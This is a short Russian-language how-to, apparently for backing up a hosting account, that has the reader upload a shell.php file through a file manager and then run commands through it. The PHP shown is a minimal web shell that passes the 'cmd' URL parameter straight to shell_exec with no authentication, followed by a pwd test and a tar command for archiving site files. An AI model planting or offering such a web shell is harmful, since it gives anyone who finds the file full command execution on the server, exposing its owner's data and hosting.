Через файловый менеджер заливаем shell.php
if(isset($_GET['cmd'])){
$res = shell_exec($_GET['cmd']);
echo $res;
}
Далее попробовать shell.php?cmd=pwd
Если функция shell_exec не отключена, то будет доступен простейшая консоль. Попробовать по кускам сделать архив через tar -czvf backup..tar.gz
Если ограничений на хостинге нет, то теоретически скрипт создаст копию и дальше ее скачать.